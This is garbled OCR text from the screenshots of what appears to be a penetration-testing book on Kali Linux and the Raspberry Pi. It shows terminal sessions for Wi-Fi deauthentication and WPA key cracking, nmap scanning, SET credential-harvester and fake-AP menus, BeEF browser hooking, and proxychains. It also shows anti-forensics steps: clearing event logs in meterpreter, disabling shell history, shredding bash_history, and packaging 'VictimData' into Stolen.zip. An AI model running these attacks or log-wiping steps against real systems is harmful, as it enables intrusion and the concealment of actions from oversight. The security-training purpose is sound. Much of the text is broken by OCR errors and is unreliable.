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bl cioassop oo e e i e~ il
1691 ecr 4961691,nop, wscale 4], length 0
9:30:27.782857 1P localhost.42239 > localhost.http:
9:30:27.782993 TP localhost.42239 > locathost.http:
85

9:30:27.783055 1P localhost.http > localhost.42239:
9:30:27.783172 1P localhost 42239 > localhost.http:
]

9:30:27.798939 1P localhost.http > locathost.42239:
126

27.799151 TP localhost.42239 > localhost.http:
Tocalhost 42246 > localhost.http:

ale 4], length 0
786083 17 localhost.http > localhost.42240:

5
1042 scr dssisez;oop.wscele 41, tength &

786096 17 localhost.42240 > localhost.http.
786168 1¢ localhost.42240 > localhost.http:

786220 17 localhost.http > localhost. 42240,
786335 1P localhost.42240 > localhost.http!

8.801316 1P localhost.http > localhost.42240:

801452 19 Locathast. 42246 » Locathost. http.
2709097 18 Locathos. 4224 > Locathost it
cate 41, Lengeh
5530:29.789798 19 Localhost. htp > Locathost. 42241:
193 ecr” 4967193, nop wicale 41, Tength 0

Tocathost 43241 » locathost.http
5:78983 19 Locothast 42241 > Locothest it

9.789885 1P localhost.http > localhost.42241
:29.790001 17 localhost.42241 > locathost.http:

gl ok

Flags.
Flags.

Flags.
Flags.

Flags.

Flags.
Flags.

Flags.

Flags
Flags.

Flags
Flags.

Flags.

Flags
Flags.

Flags

Flags.
Flags.

Flags.
Flags

TR TUN Ar ATy G STRPOLLInE s, R DR

A

[.1, ack 1, win 2650, options [nop,nop,Ts val 4961691 ecr

(7], seq 1

87, ack 1, win 2050, options [nop,nop,Ts val

[.1, ack 87, win 2048, options [n0p,nop,Ts val 4961691 ec

[F.], seq 87

[P.], seq 1:127, ack 88,

ack 1, win 2050, options [nop,nop,Ts val 49

win 20:

options [nop,nop, TS va

[R], seq 3919221848, win 0, Length o
(5], seq 1649956444, win 32792, options [mss 16396,sacko

[5.1, seq 2176661911, ack 1649956445, win 32768, options

[.], ock 1, win 2050, options [nop,nop,TS val 4961942 ecr
(7.1, seq 1:87, ack 1, win 2050, options [nop,nop,TS val

[BA

ack 87, win 2048, options [nop,nop,TS val 4961942 ec

[F.], seq 87, ack 1, win 2050, options [nop,nop,Ts val 49

[P.], §6q 1:127, ack 88, win 2048, options [nop,nop,TS va

[R], seq 1649956532, win 0, Length o
[S1, seq 2794216263, win 33792, options [mss 16396,sackoK

[5.1, seq 528936473, ack 2794216204, win 32768, options [

L1, ack 1, win 2

options [nop,nop,Ts val 4962193 ecr

[P.], seq 1:87, ack 1, win 2050, optlons [nop,nop,Ts val

[.1, ack 87, win 2048, options [nop,nop, TS val 4962193 ec
[F.], seq 87, ack 1, win 2050, options (nop,nop,Ts val 49
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GNU nano 2.2.6

File: /etc/network/interfaces

auto lo

iface lo inet loopback
iface eth0 inet static
address 10.0.1.167
netmask 255.255.255.0
network 10.0.1.0
broadcast 10.0.1.255
gateway 10.0.1.1
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root@kalis"#
rootkali:"
rootkali:"
rootkali:"
rootkali:"
rootkali:"
root@kali: "%

ifeonfig eth0 0,0.0,0
ifeonfig eth 0,0.0.0
brot] addbr bridge0
brot] addif bridge0 ethd
brot] addif bridge0 ethl
ifeonfig bridged up
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10.
GNU nano 2.2.6 File: /etc/network/interfaces

auto lo

iface lo inet loopback
iface eth@ inet static
address 10.0.1.167
netmask 255.255.255.0
network 10.0.1.0
broadcast 10.0.1.255
gateway 10.0.1.1
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|root@kali:~# cewl www.drchaos.com -w drchaospasswords.txt
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phpM Imin st » @ drupal10 »
ﬁ.y‘g 3 ) Browse 4 Structure [/ SQL 4 Search 34 Insert [ Export s} Import
(Recent tables) ... | l /i, The column name 'data’ is a MySQL reserved keyword.

filter databases by nami_ ——— Collation  Attributes Null Default Extra Action

13> varchar(255) utt8_general_ci No & Change @ Dx

- coaching fongbiob Yes NULL &7 Change @ D

1) No 0 & Change @ D

int(11) L20 GSEe O

) 5 serialized smalin(s) ho g #Caie @ D

T (OCheckAll  Withselected: 1] rowse o7 Change @ Drop b Primary [

& Printview ¢ Relation view i Propose tabie structure § 1 Move columns

“5,’_ J drupai? FiAdd |1 column(s) @ At End of Table () At Beginning of Table () After | cid =l

\] 4 drupal8 + Indexes

(=4 drupalto

[fiter tems by namex Mnfbeiaion’ |
12>

Space usage Row Statistics
Data % K8 Format compact
Index 16 K8 Collation sef8_geseral ot

Total 34 KiB  Creation Aps 0%, 2013 &t 03136 7
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root@kali:™# ifconfig ethl 0,0,0,0
root@kalis™# ifconfig ethl 0,0,0,0
rootBkali:™# brctl addbr bridged
rootBkali:™# bretl addif bridged eth
root@Bkali;™# bretl addif bridged ethl
root@kalii™# ifconfig bridged up
root@kaliz“#
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igpwnberrypi / § cd pentest
ipwnberrypi /pentest § s

inrninﬂ
bed

cisco-auditing-tool
cisco-global-exploiter
C-OI'\{!"

1

dnsmap
easy-creds

fasttrack metagoofil
fierce miranda

fimap plecost
goodfet revshells
goofile satp-user-enum
goohost

Ilth“-hd.ii sqlbrute

pitpmberrypi /pentest § I

sslstrip wifitap
theharvester wifite
ua-tester wifizoo
untidy 1ssfuzz
voip

waffit

webshells

weevely
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root@kali:"# aireplay-ng ——deauth 1 -a 00:1C:10:F6:04:C3 —c 00:0F:963bci2cidl wland
20:34:03 liaiting for beacon frane (BSSID: 00:1C:10:F6:04:C3) on channel &
20:34:04 Sending 64 directed suth. SINEC: [00:0F1S6:BL2CIIL] [ 0180 Acke)
rootBkalis #





OEBPS/Image00133.gif
roottkalls ® more “/.bash_history
apt-get update

apt-get upgrade

sunc

sune

rebot.

startx

startx

fconfig
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Haster Key

Transient. Key

EAPOL_ HHAC
root@kaliz™# []

o0z

Aircrack-ng 1.2 beta3
00:03] 33 keus tested (34,45 k/s)
KEY FOUND! [ sunshine 1

C2 68 1C E5 50 AB 18 04 DB 33 5 B4 03 IE 22 91
B0 4E 90 69 24 D6 AB 66 63 50 BB 8B B8 53 %0 3%
3365 1E 24 E2 BF 97 EF 70 E6 35 44 64 14 7 35
IC E3 0D Eq FE 13 56 2 23 15 24 92 77 F7 CE 88
52 E3 93 96 B0 Fi BG 35 7 F3 73 BF 2C 85 1F 30
74 50 68 B7 50 B I6 BF 80 % 17 DB F7 OF E5 %
B6 E8 1E 4F DD 6F 19 13 50 G0 16 07 01 3A 65 73
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root@kalis™# echo $HISTSIZE
500

root@kali;"# export HISTSIZE=0
raot@kali:*# echo SHISTSIZE

o

root@kaliz”# I
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root@kali:"# airmon-ng

Interface Chipset. Driver
wlan0 Ralink RT2870/3070  rt2800ush - [phuo]

rootBkalis™#
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+ Path to ‘s PID file (default: /var/run/dhcpd.pid).
e P bt s

+ Additional options to start dhcpd with,
:a»rxwf?:.‘ use options -cf or -pf here; use DHCPD_CONF/ DHCPD_PID instead

3 dmmw(M}meﬂ
e interfaces with spaces, e.g, "eth0 ethl
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root@kali:™# macchanger -r wlan0
Permanent MAC: 0030F:86:be:2c:dl (Continuum Photonics Inc)
Current HAC: 0030F:86:be:2cidl (Continuum Photonics Inc)
New HAC: B0:43:33:1F13a108 (unknoun)

root@kaliz# |
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PuTTY Configuration

Basic options for your PuTTY session

~ Specify the destination you want to connect to
Host Name (or IP address) Port
|12?.n.n.1 |snsq
Connection type:
 Raw { Telnet ¢~ Rlogin  SSH { Serial

i~ Load, save or delete a stored session

Saved Sessions
Default Settings Load
Save |
Delete |
Close window on exit:

 Aways  Never % Onlyon clean exit

[ open ] oo |
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At any time, ctrl+c to cancel and return to the main menu

FakeAP Attack Stat
Win

1

2.

3. Karmetasplmt Attack
4. FreeRadius Attack

5. DoS AP Options

6. Previous Menu

IChoice: I
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no-styleshest: Prevent associating of K5l styleshest w/iHL output.
HISC:

-2 Enable IPu6 scanning

-A: Enable 05 detestion, version detestion, script scanning, and traceroute

datadir <dirnane>: Specify custon nap data file location

send-eth/~—send-ip: Send using rau ethernst franes or IF packets
privileged; Assure that the user is fully privileged
unprivileged: Assune the user lacks rau socket privileges

=2 Print, version nuber

-h: Print this help sumary page.
EXAPLES:

nnp v A scanne, mnap,org

nnp -v -sn 182,188,0,0/16 10,0,0,0/8

ninap -v ~iR 10000 -Fr —p 80
SEE THE AN PAGE. (http://nnap.ora/book/nan, htnl) FOR HORE OFTIONS AND EXAHPLES
ro0tkali:™ map wuw, thesecurityblogger, con

Starting Nuap 6.47 ( http://mnap.org ) at 2014-09-22 18:26 UTC
Mnap scan repart For uiu, thesecuritublogger.con (208,113, 138.132)
Host. is up (0,115 latency),

NG record For 208,113,135,132; apache2-cabo,gazania,dreanhost  con
Not_shoun; 877 f1ltered ports

PORT  STRTE  SERVICE

2l/tcp open Ftp

22/tcp  open ssh

Z/tcp  closed sutp

B0/tcp open http

113/tcp closed ident

179/tcp closed bgp

443/tcp open  hitps

7/tcp open  submission

1723/tcp closed pptp.

2000/tcp closed cisco-scop

5222/tcp open  xapp-client.

5263/tcp open umpp-server

5000/tcp closed 11

5001/tcp closed X111

5002/tcp closed ¥11:2

5003/tcp closed ¥11:3

5004/tcp closed ¥11:4

5005/tcp closed ¥11:5

5006/tcp closed ¥11:6

5007 /tcp closed ¥11:7

5003/tcp closed ¥11:3

5025/tcp closed xi1

5053/tcp closed H11:59

Hnap done: 1 1P address (1 host up) scanned in 31,68 seconds
rootBkalis”# ]
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to cancel and return to the main menu

At any time, ctrl+c

Prerequisites & Configurations
Quit current poisoning session

FakeAP Attacks

Exit

Choice: I
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stunnel-5.07-in
staller.exe
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meterpreter > cleoarcy
Wiping 97 records from Application...
Wiping 415 records from System
Wiping 0 records from Security.

meterpreter >
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stunnel 32 =olx|

Fle Confuaton Saveeer Certficate He

07.

2014 11 09 18:51:43 LOGS(1684] stunnel 5 07 on x@6-po-nsvc-1600 platfora =]
2014 11 09 18:51:43 TOGS[1684] Compiled/running with OpsnSSL 1.0 1j-fips 16 Oot 2014

2014 11 09 18:51:43 TOGS[1684] Threading:VIN32 Sockete:SELECT, 1Pvé SSL:ENGINE, OCSF, FIFS

2014.11 09 18:51:43 TOGS[1€84] Reading configuraticn frox £ile stunnel.conf

2014 11 09 18:51:43 TOGS[1684]  UTE-8 byte order mark not detected

2014.11.09 18:51:43 TOGS[1€84] FIPS nods disabled

2014 11 09 18:51:45 TOG3(1684] Error resolving '192.168.135:123': Neither nodenane nor servhans knovn (EAL_NONAME
2014 11 09 18:51:4€ TOGS[1€84] Configuraticn successful

2014 11 09 18:52:31 TOGS[1684] Reading configuraticn frow file stunnel.conf

2014 11 09 18:52:31 TOGS[1€84]  UTE-8 byte order mark not detected

201411 09 18:52:31 TOGS[1684] FIPS nods disabled

2014.11 09 18:52:31 TOGS[1684] Configuration successtul
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£ HTU on at0 to 1500
HTU on mon0 b
BSSID O

pentest/usb/
client. finish()

Juse/11b/python2, 6/d1 st-packages/t1sted/web/http.py" , 11ne 90C
“Request. finish called on a request after its connection uas lo
exceptions,Runt ineError: Request.Finish called on a request after its connection vas los
st.notifFinish to keep track of this.

strip/eslstrip/Server Connection.py”, line 154, in shutdoun

in Finish

: use Reque

] REQUEST 10,0,
10,0.1) ACK 0,101 255
2.00.1) ACK

deniff: listening on atd
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root@kali:~# apt-get install stunneld -
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root@kalis™# cd /var/log
rootikali:/var/logh 1s

Consalekit bootstrap,log diesg.2.5z  kern,log messages
Horg.0.log btap duesg 3.z lastlog  reus
Yorg.0.log.old  dasnon.log  duesg.digz  lpr.log  pu-powersave.log
alternatives, log debug deka. log nail.err  samba

apache? dnesg Faillog maillinfo suslog

apt dnesg, 0 Fontconfig,log naililog user,log

auth, log dnesa.l.z  Fsck nailluarn utop

rootikalit/var/logt I
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ert = /etc/stunnel/stunnel.pem
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root@kali:~/Desktop# unzip Stolen.zip
Archive: Stolen.zip

inflating: VictimData
root@kali:~/Desktop#
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root@kali:~/Desktop# zip Stolen VictimData
adding: VictimData (deflated 9%)
root@kali:~/Desktop#

A e L L
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Paetiatants =

oot@client:~# update-rc.d ssh defaults]
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) AnonWWW
Chemtna ] [t ] [ Soomiars

Many mice surf the web under the illusion that their actions are private and anonymous.
Unfortunately, this is not the way it is. Every time you visit a site for a piece of cheese, you
leave a calling card that reveals where you are coming from, what kind of computer you use,
and other details. And many cats keep logs of all your visits, so that they can catch you!
This service allows you to surf the web without revealing any personal information.
Itis fast, it is easy, and it is free!

Enter website address:
i/ Surf anonymously
for example: "http://www.yahoo.com"

Your Calling Card without Anonymouse | Your Calling Card with Anonymouse ||
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root@kali:/etc/ssh# dpkg-reconfigure openssh-server
Creating SSH2 RSA key; this may take some time ...
Creating SSH2 DSA key; this may take some time
Creating SSH2 ECDSA key; this may take some time .
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rootBkali:™# shred -zu /root/,bash_history
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service ssh sta
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i~# update-rc.d -f ssh remove
ipdate-rc.d: using dependency based boot sequencing
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*proxychains.conf
File Edt Search Options Help

# ProxyList format
# type host port [user pass]
# (values separated by "tab" or 'blank')
#
#
# Examples:
#
# socks5 192.168.67.78 1080 lamer secret
# http 192.168.89.3 8080 justu  hidden
# socks4 192.168.1.49 1080
# http 192.168.39.93 8080
#
#
# proxy types: http, socksé4, socks5
# ( auth types supported: "basic”-http “user/pass"-socks )
#
[PrnxiLis(]
# meanwile
# defaults set to "tor"
4 127 .1 9050
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IE: Unknown: DDODO018GAG70000EA001002704E7
Cell 05 - Address: OE:18:1A:36:06:22
Channel :36
Frequency:5.18 GHz (Channel 36)
Quality=55/70 Signal level=-55 dBm
Encryption key:on
ESSID:"Wireless Lab"
Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s
36 Mb/s; 48 Mb/s; 54 Mb/s
Mode :Master
Extra:tsf=3200000026414550
Extra: Last beacon: 2916ms ago
IE: Unknown: 000C576972656C657373204C6162
IE: Unknown: 01088C129824B048606C
IE: Unknown: 030124
IE: Unknown: 074C5553202401112801112C01113001113401183801183
C01184001186401186801186C01187001187401187801187C01188001188401188801188C0118950
11E99011E9D011EALO11EASOL1EGD
IE: Unknown: 200100
IE: IEEE 802,111/WPA2 Version 1
Group Ciphen :-TKIP
Pairwise Ciphers (2) : CCMP TKIP
Authentication Suites (1) : PSK
IE: Unknown: 2D1AEFQ11BFFFFFFO000006000000000006000000000000
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root@kali:™# sleep 5: import -window root Imagemagick.png
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root@kali:~# 1fconfig wlan® up
root@kali:~4
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Iroot/Selection-001.png - Shutter DrawingTool

File Edit Tools View
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stroke color: | Ml | Linewidth: (3.0 |2 Font: | sans 16






OEBPS/Image00037.jpg
root@kali:~# iwlist wlan0 scanning
wlan® Scan completed :
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Authentication

Username:

Password:

—eEF

Login
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Aar  IECE 662.11abgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=29 dBa
Retry long Lisit:7 RIS thrioff  Fragoent thrioff
Encryption key:i

o no wireless extensions.
ethd no wireless extensions.

rootgkali:=# |
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root@kali:/usr/share/beef-xss# ./beef
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to upgrade it?
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7DMEII57H Logs ‘rcummundqw;“ﬂkldef’”?xsskaysih Ipec |






OEBPS/Image00031.jpg
00ta(C-SERVER: /tnp/tnp2/tnp3# unzip raspberry pi overclock_files.zip
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root@CC-SERVER:/tmp/tmp2/tmp3# cd raspberry_pi_overclock_files/
root@CC-SERVER: /tmp/tmp2/tmp3/ raspberry_pi_overclock_files# 1s

lua5.1_5.1.5-4_armel.deb triggerhappy_0.3.4-2_armel.deb
Iraspi-config_20121028_all.deb

00t@CC-SERVER: /tmp/tmp2/tmp3/ raspberry_pi_overclock_files#





OEBPS/Image00029.jpg
File Edit ch  Terminal
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Java Applet Attack Method
Metasploit Browser Exploit Method
Credential Harvester Attack Method
Tabnabbing Attack Method

Web Jacking Attack Method
Multi-Attack Web Method

Full Screen Attack Method

Return to Main Menu
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rootGCC-SERVER: /tmp/tmp2/tmp3# wget http://waw. drchaos..con/wp-content/uploads/
14/09/ raspberry, J:_nver:lcck_fil:s.zmi
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File Edit View Search Terminal
root@kali:~# vi
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acbatlahzl

(-] Credential harvester will allow you to utilize the clone capabilities withi
SET

(-] to harvest credentials or parameters from a website as well as place them 1
0 a_report

(-] This option is used for what IP the server will POST to.

(-1 If you're using an external IP, use your external IP for this

ot tucbattack> IP address for the POST back in Harvester/Tabnabbing::172.16.234
128

1. Java Required KEED EED‘\]@R

2. Google
3. Facebook
4. Twitter
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Aamirs-MacBook-Pro:~ alakhani$ sudo dd if=/dev/diskl o
9

/Desktop/raspberrypi.dm

WARNING: Improper use of the sudo command could lead to data loss
or the deletion of important system files. Please double-check your
typing when using sudo. Type "man sudo” for more information.

To proceed, enter your password, or type Ctrl-C to abort.

Password:
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contigure keyboard Set keyboard La

change pass Change password for 'pi" user
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Ensble or disable ssh server
Start desktop on boot?
upgrade raspi-config

<select> <Finish>

411 SD card
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root@kali:/opt/easy-creds# 1s
definitions.sslstrip easy-creds.sh installer.sh README
root@kali:/opt/easy-creds# ./easy-creds.sh
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Version 3.7 - Garden of Your Mind

Installer

Debian/Ubuntu and derivatives
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Microsoft Windows

Please choose your 0S to install easy-creds
Exit
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4
Choice:
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At any time, ctrl+c to cancel and return to the main menu

Edit etter.conf
Edit etter.dns

Install dhcp server

Install karmetasploit prereqs

Add tunnel interface to dhcp server
Update Metasploit Framework

Update Aircrack-ng

How-to Videos (Launches Web Browser)
Previous Menu V7N A ]

G R e D, R R

Choice: I
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At any time, ctrl+c to cancel and return to the main menu

Prerequisites & Configurations
Poisoning Attacks

FakeAP Attacks

Data Review

Exit

Quit current poisoning session

SUswWR

Choice: I
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root@kali:~#
root@kali:~#
root@kali:~#
root@kali:~# apt-get upgrade
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root@kali:~#
root@kali:~# startx
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Description:  Brings up a clippy image and asks the user to do stuff.
Clppy imege:  http://cipy.aibnet.com/1.0.]|
Custom text: vawhhﬂm

s/ the cartn i ~sgtatham/ox

“Thanks for upgrading your brow,
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root@kali:~#
root@kali:~#
root@kali:~#
root@kali:~# apt-get updatel]
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Leamtuf Download
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root@kali:~#
root@kali:~# passwd

Enter new UNIX password:

Retype new UNIX password:

passwd: password updated successfully
root@kali:~#

root@kali:~#

root@kali:~# |
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‘You should be hooked into BeEF.

Have fun while your browser is working against you.
‘These links are for demonstrating the “Get Page HREFs" command module.

Have a goat the event logger.
Insert your secre here:

‘You can also load up a more advanced demo page here.

192.168.135.129
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root@kali:~/Downloads# tar -zxvf easy-creds-3.8-DEV.tar.gz
2asy -creds/easy-creds.sh

asy-creds/definitions.sslstrip

2asy -c reds/README

2asy-creds/

basy-creds/installer.sh

root@kali:~/Downloads#

-oot@kali:~/Downloads# cd easy-creds/
root@kali:~/Downloads/easy-creds# 1s

jefinitions.sslstrip easy-creds.sh installer.sh README
root@kali:~/Downloads/easy-creds# ¢hmod| 777 :Lns(a'l'Ler shl
-0ot@kali:~/Downloads/easy-creds#
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JOMUNIZ-M-P@AS:Desktop jomunizs diskutil unmountDisk /dev/disk2
Unmount of all volumes on disk2 was successful
JOMUNIZ-M-P@AS:Desktop jomuniz$ sudo dd if=kali-1.0.9-rpi.img of=/dev/disk2
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root@kali:~# cd Downloads/
root@kali:~/Downloads#
root@kali:~/Downloads#
root@kali:~/Downloads# 1s
pasy-creds-3.8-DEV. tar.gz
root@kali:~/Downloads#
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Aamirs-MacBook-Pro:~ alakhani$ diskutil list

/dev/diske
#: TYPE
0: GUID_partition_scheme
1: -
2: Apple_HFS
/dev/diskl
#: TYPE
0: FDisk_partition_scheme
1: Windows_FAT_16
2: Linux

Aamirs-MacBook-Pro:~ alakhani$

NAME

EFI
Macintosh HD

NAME
RECOVERY

SIZE

*751.3 GB
209.7 MB
750.4 GB

SIZE

*7.9 GB
1.5 GB
33.6 MB
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